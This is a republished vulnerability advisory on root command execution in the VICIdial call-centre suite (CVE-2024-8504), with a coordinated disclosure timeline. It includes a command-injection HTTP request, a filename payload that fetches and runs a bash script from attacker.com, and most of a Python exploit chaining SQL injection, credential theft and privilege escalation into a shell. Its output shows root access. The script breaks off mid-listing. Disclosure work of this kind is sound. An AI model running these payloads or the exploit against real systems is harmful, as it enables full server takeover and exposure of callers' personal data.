{"id":59590,"date":"2024-09-11T18:50:24","date_gmt":"2024-09-11T15:50:24","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181461\/KL-001-2024-012.txt"},"modified":"2024-09-11T18:50:24","modified_gmt":"2024-09-11T15:50:24","slug":"vicidial-2-14-917a-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vicidial-2-14-917a-remote-code-execution\/","title":{"rendered":"VICIdial 2.14-917a Remote Code Execution"},"content":{"rendered":"<p>KL-001-2024-012: VICIdial Authenticated Remote Code Execution<\/p>\n<p>Title: VICIdial Authenticated Remote Code Execution<br \/>Advisory ID: KL-001-2024-012<br \/>Publication Date: 2024-09-10<br \/>Publication URL: https:\/\/korelogic.com\/Resources\/Advisories\/KL-001-2024-012.txt<\/p>\n<p>1. Vulnerability Details<\/p>\n<p>Affected Vendor: VICIdial<br \/>Affected Product: VICIdial<br \/>Affected Version: 2.14-917a<br \/>Platform: GNU\/Linux<br \/>CWE Classification: CWE-78: Improper Neutralization of Special<br \/>Elements used in an OS Command<br \/>(&#8216;OS Command Injection&#8217;)<br \/>CVE ID: CVE-2024-8504<\/p>\n<p>2. Vulnerability Description<\/p>\n<p>An attacker with authenticated access to VICIdial as an &#8220;agent&#8221;<br \/>can execute arbitrary shell commands as the &#8220;root&#8221; user. This<br \/>attack can be chained with CVE-2024-8503 to execute arbitrary<br \/>shell commands starting from an unauthenticated perspective.<\/p>\n<p>3. Technical Description<\/p>\n<p>VICIdial is an open-source contact center suite, mainly used<br \/>by call centers. The &#8220;vicidial.com&#8221; website boasts over 14,000<br \/>registered installations. There is a public SVN repository to<br \/>access the source code, as well as an ISO that can be used to<br \/>install the software. The ISO was used in a virtual machine<br \/>for testing purposes.<\/p>\n<p>Users can be added to specific &#8220;groups&#8221; that enable them to log<br \/>into the &#8220;agent&#8221; web client if that group is associated with a<br \/>&#8220;campaign&#8221;. This web client is for agents to manage inbound<br \/>and outbound phone calls, displaying pertinent information<br \/>regarding the &#8220;lead&#8221;, such as the personal information of the<br \/>individual on the other end of the call.<\/p>\n<p>An agent has the ability to record the phone call using the<br \/>&#8220;START RECORDING&#8221; button. When clicked, an HTTP request is sent<br \/>to the server which is processed by the &#8220;manager_send.php&#8221;<br \/>PHP script. The &#8220;filename&#8221; parameter included in the request<br \/>is sanitized with the &#8220;preg_replace&#8221; PHP function to prevent<br \/>SQL injection, as shown by this snippet:<\/p>\n<p>if (isset($_GET[&#8220;filename&#8221;])) {$filename=$_GET[&#8220;filename&#8221;];}<br \/>elseif (isset($_POST[&#8220;filename&#8221;])) {$filename=$_POST[&#8220;filename&#8221;];}<br \/>&#8230;<br \/>$filename = preg_replace(&#8220;\/\\&#8217;|\\&#8221;|\\\\\\\\|;\/&#8221;,&#8221;&#8221;,$filename);<\/p>\n<p>The regular expression used to sanitize this parameter is<br \/>very permissive, only removing single quotes, double quotes,<br \/>backslashes, and semicolons.<\/p>\n<p>Later in the execution of &#8220;manager_send.php&#8221;, the &#8220;filename&#8221;<br \/>variable is added to a SQL database through an &#8220;INSERT&#8221;<br \/>statement, along with other user-controlled variables such as<br \/>&#8220;exten&#8221;:<\/p>\n<p>$stmt=&#8221;INSERT INTO vicidial_manager values(&#8221;,&#8221;,&#8217;$NOW_TIME&#8217;,<br \/>&#8216;NEW&#8217;,&#8217;N&#8217;,&#8217;$server_ip&#8217;,&#8221;,&#8217;Originate&#8217;,&#8217;$vmgr_callerid&#8217;,<br \/>&#8216;Channel: $channel&#8217;,&#8217;Context: $ext_context&#8217;,<br \/>&#8216;Exten: $exten&#8217;,&#8217;Priority: $ext_priority&#8217;,<br \/>&#8216;Callerid: $filename&#8217;,&#8221;,&#8221;,&#8221;,&#8221;,&#8221;);&#8221;;<br \/>if ($format==&#8217;debug&#8217;) {echo &#8220;\\n&lt;!&#8211; $stmt &#8211;&gt;&#8221;;}<br \/>$rslt=mysql_to_mysqli($stmt, $link);<\/p>\n<p>On the server-side, an asyncronous cron job is executing the<br \/>perl script &#8220;ADMIN_keepalive_ALL.pl&#8221;:<\/p>\n<p>vicibox11:\/ # crontab -l | grep keepalive<br \/>### keepalive script for astguiclient processes<br \/>* * * * * \/usr\/share\/astguiclient\/ADMIN_keepalive_ALL.pl<\/p>\n<p>This perl script ensures several worker perl scripts<br \/>are running. Included in these worker perl scripts is<br \/>&#8220;AST_manager_send.pl&#8221;, as shown by this snippet from<br \/>&#8220;ADMIN_keepalive_ALL.pl&#8221;:<\/p>\n<p>if ($psline[1] =~ \/AST_manager_se\/)<br \/>{<br \/>$runningAST_send++;<br \/>if ($DB) {print &#8220;AST_send RUNNING: |$psline[1]|\\n&#8221;;}<br \/>}<br \/>&#8230;<br \/>if ( ($AST_send_listen &gt; 0) &amp;&amp; ($runningAST_send &lt; 1) )<br \/>{<br \/>if ($DB) {print &#8220;starting AST_manager_send&#8230;\\n&#8221;;}<br \/># add a &#8216;-L&#8217; to the command below to activate logging<br \/>`\/usr\/bin\/screen -d -m -S ASTsend<br \/>$PATHhome\/AST_manager_send.pl $debug_string`;<\/p>\n<p>The &#8220;AST_manager_send.pl&#8221; script will continuously monitor the<br \/>&#8220;vicidial_manager&#8221; table in the SQL database for records with<br \/>the &#8220;status&#8221; column equal the string &#8220;NEW&#8221;. Values from that<br \/>row are then URL-encoded and used as command-line arguments<br \/>to invoke the &#8220;AST_send_action_child.pl&#8221; perl script:<\/p>\n<p>while ($endless_loop &gt; 0)<br \/>{<br \/>my $stmtA = &#8220;SELECT count(*) from<br \/>vicidial_manager where server_ip = &#8216;&#8221;<br \/>. $conf{VARserver_ip} . &#8220;&#8216; and status = &#8216;NEW&#8217;;&#8221;;<br \/>&#8230;<br \/>$originate_command .= $vdm-&gt;{cmd_line_e} . &#8220;\\n&#8221;<br \/>if ($vdm-&gt;{cmd_line_e});<br \/>$originate_command .= $vdm-&gt;{cmd_line_f} . &#8220;\\n&#8221;<br \/>if ($vdm-&gt;{cmd_line_f});<br \/>$originate_command .= $vdm-&gt;{cmd_line_g} . &#8220;\\n&#8221;<br \/>if ($vdm-&gt;{cmd_line_g});<br \/>&#8230;<br \/>$vdm-&gt;{cmd_line_e} =~ s\/([^A-Za-z0-9])\/sprintf(&#8220;%%%02X&#8221;, ord($1))\/seg;<br \/>$vdm-&gt;{cmd_line_f} =~ s\/([^A-Za-z0-9])\/sprintf(&#8220;%%%02X&#8221;, ord($1))\/seg;<br \/>$vdm-&gt;{cmd_line_g} =~ s\/([^A-Za-z0-9])\/sprintf(&#8220;%%%02X&#8221;, ord($1))\/seg;<br \/>&#8230;<br \/>$launch .= &#8221; &#8211;cmd_line_e=&#8221; . $vdm-&gt;{cmd_line_e}<br \/>if ($vdm-&gt;{cmd_line_e});<br \/>$launch .= &#8221; &#8211;cmd_line_f=&#8221; . $vdm-&gt;{cmd_line_f}<br \/>if ($vdm-&gt;{cmd_line_f});<br \/>$launch .= &#8221; &#8211;cmd_line_g=&#8221; . $vdm-&gt;{cmd_line_g}<br \/>if ($vdm-&gt;{cmd_line_g});<br \/>&#8230;<br \/>$launch .= &#8221; &gt;&gt; &#8221; . $conf{PATHlogs} . &#8220;\/action_send.&#8221; . logDate()<br \/>if ($SYSLOG);<br \/>system($launch . &#8216; &amp;&#8217;);<\/p>\n<p>The &#8220;AST_send_action_child.pl&#8221; will then initiate a telnet<br \/>connection to the &#8220;Asterisk Call Manager&#8221; and issue various<br \/>commands as they appear in the command-line arguments:<\/p>\n<p>my $tn = new Net::Telnet (Port =&gt; $telnet_port,<br \/>Prompt =&gt; &#8216;\/\\r\\n\/&#8217;,<br \/>Output_record_separator =&gt; &#8221;,<br \/>Errmode =&gt; &#8220;return&#8221;);<br \/>&#8230;<br \/>$tn-&gt;open(&#8220;$telnet_host&#8221;);<br \/>$tn-&gt;waitfor(&#8216;\/Asterisk Call Manager\\\/\/&#8217;);<br \/>&#8230;<br \/>$originate_command .= $cmd_line_e . &#8220;\\n&#8221; if ($cmd_line_e);<br \/>$originate_command .= $cmd_line_f . &#8220;\\n&#8221; if ($cmd_line_f);<br \/>$originate_command .= $cmd_line_g . &#8220;\\n&#8221; if ($cmd_line_g);<br \/>&#8230;<br \/>my @list_channels = $tn-&gt;cmd(String =&gt; $originate_command,<br \/>Prompt =&gt; &#8216;\/.*\/&#8217;);<\/p>\n<p>These commands are then processed by the Asterisk<br \/>Management interface (AMI). The configuration file<br \/>&#8220;extensions-vicidial.conf&#8221; contains useful information on<br \/>how AMI processes the value of the user-controlled &#8220;Exten&#8221;<br \/>command. The following is a relevant snippet:<\/p>\n<p>exten =&gt; 8309,1,Answer<br \/>exten =&gt; 8309,2,Monitor(wav,${CALLERID(name)})<br \/>exten =&gt; 8309,3,Wait(3600)<br \/>exten =&gt; 8309,4,Hangup()<br \/>&#8230;<\/p>\n<p>When supplying an &#8220;Exten&#8221; value of &#8220;8309&#8221;, the &#8220;Monitor&#8221;<br \/>application is invoked, which will record the current call and<br \/>write the recorded data into a file. The default directory<br \/>is &#8220;\/var\/spool\/asterisk\/monitor&#8221;. In this case, the name<br \/>of the file is derived from the &#8220;CALLERID&#8221;, which is also<br \/>user-controlled.<\/p>\n<p>This can be leveraged by an attacker to write file names<br \/>that contain malicious shell commands. Take for example the<br \/>following HTTP request:<\/p>\n<p>POST \/agc\/manager_send.php HTTP\/1.1<br \/>Host: REDACTED<br \/>Content-Length: 279<br \/>Content-Type: application\/x-www-form-urlencoded; charset=UTF-8<\/p>\n<p>server_ip=REDACTED&amp;session_name=1716765726_8300defaul17394646&amp;user=korelogic&amp;pass=korelogic&amp;ACTION=MonitorConf&amp;format=text&amp;channel=Local\/58600051@default&amp;filename=3133731337$(id&gt;foobar.txt)&amp;exten=8309&amp;ext_context=default&amp;lead_id=&amp;ext_priority=1&amp;FROMvdc=YES&amp;uniqueid=&amp;FROMapi=<\/p>\n<p>Two files are created within the &#8220;\/var\/spool\/asterisk\/monitor&#8221;<br \/>directory:<\/p>\n<p>vicibox11:\/ # ls -l \/var\/spool\/asterisk\/monitor<br \/>total 216<br \/>-rw-r&#8211;r&#8211; 1 root root 213164 May 30 05:30 \\<br \/>3133731337$(id&gt;foobar.txt)-in.wav<br \/>-rw-r&#8211;r&#8211; 1 root root 44 May 30 05:30 \\<br \/>3133731337$(id&gt;foobar.txt)-out.wav<\/p>\n<p>Additionally, the &#8220;AST_CRON_audio_1_move_VDonly.pl&#8221; perl script<br \/>is executed every 3 minutes:<\/p>\n<p>vicibox11:\/ # crontab -l | grep VDonly<br \/>0,3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57 * * * * \\<br \/>\/usr\/share\/astguiclient\/AST_CRON_audio_1_move_VDonly.pl<\/p>\n<p>This script searches for WAV\/GSM files within the Asterisk<br \/>monitor directory and uses the file names to execute several<br \/>shell commands:<\/p>\n<p>foreach(@FILES)<br \/>{<br \/>&#8230;<br \/>$INfile = $FILES[$i];<br \/>&#8230;<br \/>if (!$T)<br \/>{<br \/>`mv -f &#8220;$dir1\/$INfile&#8221; &#8220;$dir2\/$ALLfile&#8221;`;<br \/>`rm -f &#8220;$dir1\/$OUTfile&#8221;`;<br \/>}<\/p>\n<p>The malicious file name is then inserted into the &#8220;mv&#8221;<br \/>command. The attacker controlled &#8220;id&#8221; command is executed and<br \/>the output is redirected to the file &#8220;foo.txt&#8221;:<\/p>\n<p>vicibox11:\/ # ls -l \/root\/foobar.txt<br \/>-rw-r&#8211;r&#8211; 1 root root 39 May 30 05:33 \/root\/foobar.txt<\/p>\n<p>4. Mitigation and Remediation Recommendation<\/p>\n<p>This issue has been remediated in the public svn\/trunk codebase,<br \/>as of revision 3848 committed 2024-07-08.<\/p>\n<p>5. Credit<\/p>\n<p>This vulnerability was discovered by Jaggar Henry of KoreLogic,<br \/>Inc.<\/p>\n<p>6. Disclosure Timeline<\/p>\n<p>2024-07-05 : KoreLogic requests security contact from<br \/>support@vicidial.com.<br \/>2024-07-08 : KoreLogic reports vulnerability details to VICIdial<br \/>contact.<br \/>2024-07-08 : VICIdial notifies KoreLogic that the issue has been<br \/>remediated with revision 3848 in the public<br \/>Subversion repository.<br \/>2024-07-11 : KoreLogic confirms this vulnerability has been<br \/>remediated. KoreLogic asks VICIdial if it is<br \/>appropriate to publicly disclose the vulnerability<br \/>details at this time.<br \/>2024-07-11 : VICIdial requests four weeks of embargo in order to<br \/>upgrade supported customers.<br \/>2024-08-05 : KoreLogic asks VICIdial if it is appropriate to<br \/>publicly disclose the vulnerability details at<br \/>this time.<br \/>2024-08-09 : VICIdial requests an additional two weeks of<br \/>embargo.<br \/>2024-09-10 : KoreLogic public disclosure.<\/p>\n<p>7. Proof of Concept<\/p>\n<p>Instead of executing the &#8220;id&#8221; command, a malicious bash script<br \/>can be downloaded and executing using the cURL utility. The following<br \/>file name is an example:<\/p>\n<p>$(curl$IFS@attacker.com$IFS-o$IFS.c&amp;&amp;bash$IFS.c)<\/p>\n<p>This issue can be chained with KL-001-2024-011 (unauthenticated SQL injection)<br \/>to execute arbitrary shell commands as the root user from an unauthenticated<br \/>perspective:<\/p>\n[goon@security exploits]$ python unauth2rce.py -rh 192.168.2.136 -rp 443 -wh 192.168.2.65 -wp 3000 -lh <br \/>192.168.2.65 -lp 1337 &#8211;bind<br \/>[+] Target appears vulnerable to time-based SQL injection<br \/>[~] Enumerating administrator credentials<br \/>[~] 6<br \/>[~] 66<br \/>[~] 666<br \/>[~] 6666<br \/>[+] Username: 6666<br \/>[~] J<br \/>[~] JA<br \/>[~] JAB<br \/>[~] JAB1<br \/>[~] JAB18<br \/>[~] JAB181<br \/>[~] JAB181M<br \/>[~] JAB181MA<br \/>[~] JAB181MAB<br \/>[~] JAB181MAB1<br \/>[~] JAB181MAB17<br \/>[~] JAB181MAB178<br \/>[~] JAB181MAB178_<br \/>[~] JAB181MAB178_L<br \/>[~] JAB181MAB178_LA<br \/>[~] JAB181MAB178_LAn<br \/>[+] Password: JAB181MAB178_LAn<br \/>[+] Authenticated successfully as user &#8220;6666&#8221;<br \/>[+] Updated user settings to increase privileges<br \/>[+] Updated system settings<br \/>[+] Created dummy campaign &#8220;korelogic_campaign&#8221;<br \/>[+] Updated dummy campaign settings<br \/>[+] Created dummy list for campaign<br \/>[+] Found phone credentials: callin:test<br \/>[+] Entered &#8220;manager&#8221; credentials to override shift enforcement<br \/>[+] Authenticated as agent using phone credentials<br \/>[~] Listening for incoming connections&#8230;<br \/>[+] Received cURL request from 192.168.2.136<br \/>Connection from 192.168.2.136:56980<br \/>vicibox11:~ # id<br \/>uid=0(root) gid=0(root) groups=0(root)<\/p>\n<p>#########################<br \/>## unauth2rce.py ##<br \/>#########################<\/p>\n<p>import os<br \/>import re<br \/>import socket<br \/>import string<br \/>import random<br \/>import urllib3<br \/>import argparse<br \/>import requests<br \/>import threading<br \/>from base64 import b64encode<br \/>from bs4 import BeautifulSoup<\/p>\n<p>urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/p>\n<p>class Exploit:<br \/>def __init__(self, rhost, rport, whost, wport, lhost=None, lport=None, bind=False, proxy=None):<br \/>&#8220;&#8221;&#8221;<br \/>This &#8216;sleep&#8217; duration is derived by the average response time<br \/>multiplied by this value. A server with an average response time<br \/>of 10ms is given a &#8216;sleep&#8217; duration of 300ms. Tune as needed.<br \/>&#8220;&#8221;&#8221;<br \/>self.SLEEP_MULTIPLIER = 30<\/p>\n<p>self.REQUEST_HEADERS = {&#8216;User-Agent&#8217;: &#8216;KoreLogic&#8217;}<br \/>self.ALLOWED_SCHEMES = [&#8216;http&#8217;, &#8216;https&#8217;]if proxy:<br \/>self.REQUEST_PROXIES = {<br \/>&#8216;http&#8217;: proxy,<br \/>&#8216;https&#8217;: proxy<br \/>}<br \/>else:<br \/>self.REQUEST_PROXIES = {}<\/p>\n<p>self.TARGET_IP = rhost<br \/>self.TARGET_PORT = rport<\/p>\n<p>self.PAYLOAD_WEBSERVER_HOST = whost<br \/>self.PAYLOAD_WEBSERVER_PORT = wport<\/p>\n<p>self.REVERSE_SHELL_HOST = lhost<br \/>self.REVERSE_SHELL_PORT = lport<\/p>\n<p>self.BIND = bind<\/p>\n<p>self.VICIDIAL_FINGERPRINT = &#8216;Please Hold while I redirect you!&#8217;<br \/>self.RANDOM_CHARSET = string.ascii_uppercase + string.digits<\/p>\n<p># returns a URI with &#8216;http&#8217; or &#8216;https&#8217;<br \/>def determine_target_uri(self):<br \/>for scheme in self.ALLOWED_SCHEMES:<br \/>target_uri = f'{scheme}:\/\/{self.TARGET_IP}:{self.TARGET_PORT}&#8217;<br \/>try:<br \/>response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)<br \/>if self.VICIDIAL_FINGERPRINT in response.text:<br \/>return target_uri<br \/>except:<br \/>pass<\/p>\n<p># returns a session object with custom proxies\/headers if supplied<br \/>def build_requests_session(self):<br \/>self.base_uri = self.determine_target_uri()<br \/>session = requests.Session()<br \/>session.proxies = self.REQUEST_PROXIES<br \/>session.verify = False<br \/>return session<\/p>\n<p># returns a random string of a given length<br \/>def random(self, length):<br \/>return &#8221;.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))<\/p>\n<p># returns a timedelta representing the response time of an injected SQL query<br \/>def time_sql_query(self, query, session):<br \/>username = f&#8221;goolicker&#8217;, &#8221;, ({query}));# &#8220;<br \/>credentials = f'{username}:password&#8217;<br \/>credentials_base64 = b64encode(credentials.encode()).decode()<br \/>auth_header = f&#8217;Basic {credentials_base64}&#8217;<\/p>\n<p>target_uri = f'{self.base_uri}\/VERM\/VERM_AJAX_functions.php&#8217;<br \/>request_params = {&#8216;function&#8217;: &#8216;log_custom_report&#8217;, self.random(5): self.random(5)}<br \/>request_headers = {**self.REQUEST_HEADERS, &#8216;Authorization&#8217;: auth_header}<\/p>\n<p>response = session.get(target_uri, params=request_params, headers=request_headers)<br \/>return response.elapsed<\/p>\n<p># returns a boolean if time-based SQL injection is possible, additionally<br \/># sets the best &#8216;sleep&#8217; duration based on response times<br \/>def is_vulnerable(self, session, baseline_iterations=5):<br \/># determine average baseline response time<br \/>zero_sleep_query = f&#8217;SELECT (NULL)&#8217;<br \/>total_baseline_time = 0<br \/>for _ in range(baseline_iterations):<br \/>execution_time = self.time_sql_query(zero_sleep_query, session)<br \/>total_baseline_time += execution_time.total_seconds()<\/p>\n<p>average_baseline_response_time = total_baseline_time \/ baseline_iterations<br \/>self.sql_baseline_time = average_baseline_response_time<\/p>\n<p># determine if injected sleep query impacts response time<br \/>sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)<br \/>sleep_query = f&#8217;SELECT (sleep({sleep_length}))&#8217;<br \/>execution_time = self.time_sql_query(sleep_query, session)<br \/>if execution_time.total_seconds() &gt;= sleep_length:<br \/>self.sql_sleep_length = sleep_length<br \/>return True<br \/>else:<br \/>return False<\/p>\n<p># determine if a character at a specific indice of a query result returns a<br \/># boolean &#8216;true&#8217; when compared to a given character using the supplied operator<br \/>def check_indice_of_query_result(self, session, query, indice, operator, ordinal):<br \/>parent_query = f&#8217;SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, <br \/>sleep({self.sql_sleep_length}), null)&#8217;<br \/>execution_time = self.time_sql_query(parent_query, session)<br \/>return execution_time.total_seconds() &gt;= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)<\/p>\n<p>def enumerate_sql_query(self, session, query=&#8217;SELECT @@version&#8217;, charset=string.printable):<br \/># convert charset to ordinals<br \/>all_characters = sorted([ord(char) for char in charset])<br \/>reduced_characters = all_characters<\/p>\n<p># use a binary search and enumerate query results<br \/>result = &#8221;<br \/>indice = 1<br \/>indice_could_be_null = True<br \/>while True:<br \/>&#8220;&#8221;&#8221;<br \/>we check if the value is NULL once per indice<br \/>to determine when a string ends. this adds one<br \/>request per indice, but since every boolean &#8216;true&#8217;<br \/>results in a delay this is faster than counting<br \/>the length of the string before enumrating.<br \/>&#8220;&#8221;&#8221;<br \/>if indice_could_be_null:<br \/>if self.check_indice_of_query_result(session, query, indice, &#8216;=&#8217;, &#8216;0&#8217;):<br \/>break<br \/>else:<br \/>indice_could_be_null = False<\/p>\n<p># enumerate each character of query result with a binary search<br \/>middle_indice = len(reduced_characters) \/\/ 2<br \/>middle_ordinal = reduced_characters[middle_indice]if self.check_indice_of_query_result(session, query, indice, &#8216;&lt;=&#8217;, middle_ordinal):<br \/>if self.check_indice_of_query_result(session, query, indice, &#8216;=&#8217;, middle_ordinal):<br \/>reduced_characters = all_characters<br \/>result += chr(middle_ordinal)<br \/>indice += 1<br \/>indice_could_be_null = True<br \/>print(f'[~] {result}&#8217;)<br \/>else:<br \/>reduced_characters = reduced_characters[:middle_indice]else:<br \/>reduced_characters = reduced_characters[middle_indice:]\n<p>return result<\/p>\n<p>def poison_recording_files(self, session, username, password):<br \/># authenticate using administrator credentials<br \/>credentials = f'{username}:{password}&#8217;<br \/>credentials_base64 = b64encode(credentials.encode()).decode()<br \/>auth_header = f&#8217;Basic {credentials_base64}&#8217;<\/p>\n<p>target_uri = f'{self.base_uri}\/vicidial\/admin.php&#8217;<br \/>request_params = {&#8216;ADD&#8217;: &#8216;3&#8217;, &#8216;user&#8217;: username}<br \/>request_headers = {**self.REQUEST_HEADERS, &#8216;Authorization&#8217;: auth_header}<\/p>\n<p>response = session.get(target_uri, params=request_params, headers=request_headers)<br \/>if response.status_code == 200:<br \/>print(f'[+] Authenticated successfully as user &#8220;{username}&#8221;&#8216;)<br \/>else:<br \/>print(&#8216;[-] Failed to authenticate with credentials. Maybe hashing is enabled?&#8217;)<br \/>return<\/p>\n<p># update user settings to increase privileges beyond default administrator<br \/>user_settings_body = {<br \/>&#8220;ADD&#8221;:&#8221;4A&#8221;,&#8221;custom_fields_modify&#8221;:&#8221;0&#8243;,&#8221;user&#8221;:username,&#8221;DB&#8221;:&#8221;0&#8243;,&#8221;pass&#8221;:password,<br \/>&#8220;force_change_password&#8221;:&#8221;N&#8221;,&#8221;full_name&#8221;:&#8221;KoreLogic&#8221;,&#8221;user_level&#8221;:&#8221;9&#8243;,<br \/>&#8220;user_group&#8221;:&#8221;ADMIN&#8221;,&#8221;phone_login&#8221;:&#8221;KoreLogic&#8221;,&#8221;phone_pass&#8221;:&#8221;KoreLogic&#8221;,<br \/>&#8220;active&#8221;:&#8221;Y&#8221;,&#8221;voicemail_id&#8221;:&#8221;&#8221;,&#8221;email&#8221;:&#8221;&#8221;,&#8221;mobile_number&#8221;:&#8221;&#8221;,&#8221;user_code&#8221;:&#8221;&#8221;,<br \/>&#8220;user_location&#8221;:&#8221;&#8221;,&#8221;user_group_two&#8221;:&#8221;&#8221;,&#8221;territory&#8221;:&#8221;&#8221;,&#8221;user_nickname&#8221;:&#8221;&#8221;,<br \/>&#8220;user_new_lead_limit&#8221;:&#8221;-1&#8243;,&#8221;agent_choose_ingroups&#8221;:&#8221;1&#8243;,&#8221;agent_choose_blended&#8221;:&#8221;1&#8243;,<br \/>&#8220;hotkeys_active&#8221;:&#8221;0&#8243;,&#8221;scheduled_callbacks&#8221;:&#8221;1&#8243;,&#8221;agentonly_callbacks&#8221;:&#8221;0&#8243;,<br \/>&#8220;next_dial_my_callbacks&#8221;:&#8221;NOT_ACTIVE&#8221;,&#8221;agentcall_manual&#8221;:&#8221;0&#8243;,&#8221;manual_dial_filter&#8221;:&#8221;DISABLED&#8221;,<br \/>&#8220;agentcall_email&#8221;:&#8221;0&#8243;,&#8221;agentcall_chat&#8221;:&#8221;0&#8243;,&#8221;vicidial_recording&#8221;:&#8221;1&#8243;,&#8221;vicidial_transfers&#8221;:&#8221;1&#8243;,<br \/>&#8220;closer_default_blended&#8221;:&#8221;0&#8243;,&#8221;user_choose_language&#8221;:&#8221;0&#8243;,&#8221;selected_language&#8221;:&#8221;default+English&#8221;,<br \/>&#8220;vicidial_recording_override&#8221;:&#8221;DISABLED&#8221;,&#8221;mute_recordings&#8221;:&#8221;DISABLED&#8221;,<br \/>&#8220;alter_custdata_override&#8221;:&#8221;NOT_ACTIVE&#8221;,&#8221;alter_custphone_override&#8221;:&#8221;NOT_ACTIVE&#8221;,<br \/>&#8220;agent_shift_enforcement_override&#8221;:&#8221;ALL&#8221;,&#8221;agent_call_log_view_override&#8221;:&#8221;Y&#8221;,<br \/>&#8220;hide_call_log_info&#8221;:&#8221;Y&#8221;,&#8221;agent_lead_search&#8221;:&#8221;NOT_ACTIVE&#8221;,&#8221;lead_filter_id&#8221;:&#8221;NONE&#8221;,<br \/>&#8220;user_hide_realtime&#8221;:&#8221;0&#8243;,&#8221;allow_alerts&#8221;:&#8221;0&#8243;,&#8221;preset_contact_search&#8221;:&#8221;NOT_ACTIVE&#8221;,<br \/>&#8220;max_inbound_calls&#8221;:&#8221;0&#8243;,&#8221;max_inbound_filter_enabled&#8221;:&#8221;0&#8243;,&#8221;max_inbound_filter_min_sec&#8221;:&#8221;-1&#8243;,<br \/>&#8220;inbound_credits&#8221;:&#8221;-1&#8243;,&#8221;max_hopper_calls&#8221;:&#8221;0&#8243;,&#8221;max_hopper_calls_hour&#8221;:&#8221;0&#8243;,<br \/>&#8220;wrapup_seconds_override&#8221;:&#8221;-1&#8243;,&#8221;ready_max_logout&#8221;:&#8221;-1&#8243;,&#8221;status_group_id&#8221;:&#8221;&#8221;,<br \/>&#8220;campaign_js_rank_select&#8221;:&#8221;&#8221;,&#8221;campaign_js_grade_select&#8221;:&#8221;&#8221;,&#8221;ingroup_js_rank_select&#8221;:&#8221;&#8221;,<br \/>&#8220;ingroup_js_grade_select&#8221;:&#8221;&#8221;,&#8221;RANK_AGENTDIRECT&#8221;:&#8221;0&#8243;,&#8221;GRADE_AGENTDIRECT&#8221;:&#8221;10&#8243;,<br \/>&#8220;LIMIT_AGENTDIRECT&#8221;:&#8221;-1&#8243;,&#8221;WEB_AGENTDIRECT&#8221;:&#8221;&#8221;,&#8221;RANK_AGENTDIRECT_CHAT&#8221;:&#8221;0&#8243;,<br \/>&#8220;GRADE_AGENTDIRECT_CHAT&#8221;:&#8221;10&#8243;,&#8221;LIMIT_AGENTDIRECT_CHAT&#8221;:&#8221;-1&#8243;,&#8221;WEB_AGENTDIRECT_CHAT&#8221;:&#8221;&#8221;,<br \/>&#8220;custom_one&#8221;:&#8221;&#8221;,&#8221;custom_two&#8221;:&#8221;&#8221;,&#8221;custom_three&#8221;:&#8221;&#8221;,&#8221;custom_four&#8221;:&#8221;&#8221;,&#8221;custom_five&#8221;:&#8221;&#8221;,<br \/>&#8220;qc_enabled&#8221;:&#8221;0&#8243;,&#8221;qc_user_level&#8221;:&#8221;1&#8243;,&#8221;qc_pass&#8221;:&#8221;0&#8243;,&#8221;qc_finish&#8221;:&#8221;0&#8243;,&#8221;qc_commit&#8221;:&#8221;0&#8243;,<br \/>&#8220;hci_enabled&#8221;:&#8221;0&#8243;,&#8221;realtime_block_user_info&#8221;:&#8221;0&#8243;,&#8221;admin_hide_lead_data&#8221;:&#8221;0&#8243;,<br \/>&#8220;admin_hide_phone_data&#8221;:&#8221;0&#8243;,&#8221;ignore_group_on_search&#8221;:&#8221;0&#8243;,&#8221;user_admin_redirect_url&#8221;:&#8221;&#8221;,<br \/>&#8220;view_reports&#8221;:&#8221;1&#8243;,&#8221;access_recordings&#8221;:&#8221;0&#8243;,&#8221;alter_agent_interface_options&#8221;:&#8221;1&#8243;,<br \/>&#8220;modify_users&#8221;:&#8221;1&#8243;,&#8221;change_agent_campaign&#8221;:&#8221;1&#8243;,&#8221;delete_users&#8221;:&#8221;1&#8243;,&#8221;modify_usergroups&#8221;:&#8221;1&#8243;,<br \/>&#8220;delete_user_groups&#8221;:&#8221;1&#8243;,&#8221;modify_lists&#8221;:&#8221;1&#8243;,&#8221;delete_lists&#8221;:&#8221;1&#8243;,&#8221;load_leads&#8221;:&#8221;1&#8243;,<br \/>&#8220;modify_leads&#8221;:&#8221;1&#8243;,&#8221;export_gdpr_leads&#8221;:&#8221;0&#8243;,&#8221;download_lists&#8221;:&#8221;1&#8243;,&#8221;export_reports&#8221;:&#8221;1&#8243;,<br \/>&#8220;delete_from_dnc&#8221;:&#8221;1&#8243;,&#8221;modify_campaigns&#8221;:&#8221;1&#8243;,&#8221;campaign_detail&#8221;:&#8221;1&#8243;,&#8221;modify_dial_prefix&#8221;:&#8221;1&#8243;,<br \/>&#8220;delete_campaigns&#8221;:&#8221;1&#8243;,&#8221;modify_ingroups&#8221;:&#8221;1&#8243;,&#8221;delete_ingroups&#8221;:&#8221;1&#8243;,&#8221;modify_inbound_dids&#8221;:&#8221;1&#8243;,<br \/>&#8220;delete_inbound_dids&#8221;:&#8221;1&#8243;,&#8221;modify_custom_dialplans&#8221;:&#8221;1&#8243;,&#8221;modify_remoteagents&#8221;:&#8221;1&#8243;,<br \/>&#8220;delete_remote_agents&#8221;:&#8221;1&#8243;,&#8221;modify_scripts&#8221;:&#8221;1&#8243;,&#8221;delete_scripts&#8221;:&#8221;1&#8243;,&#8221;modify_filters&#8221;:&#8221;1&#8243;,<br \/>&#8220;delete_filters&#8221;:&#8221;1&#8243;,&#8221;ast_admin_access&#8221;:&#8221;1&#8243;,&#8221;ast_delete_phones&#8221;:&#8221;1&#8243;,&#8221;modify_call_times&#8221;:&#8221;1&#8243;,<br \/>&#8220;delete_call_times&#8221;:&#8221;1&#8243;,&#8221;modify_servers&#8221;:&#8221;1&#8243;,&#8221;modify_shifts&#8221;:&#8221;1&#8243;,&#8221;modify_phones&#8221;:&#8221;1&#8243;,<br 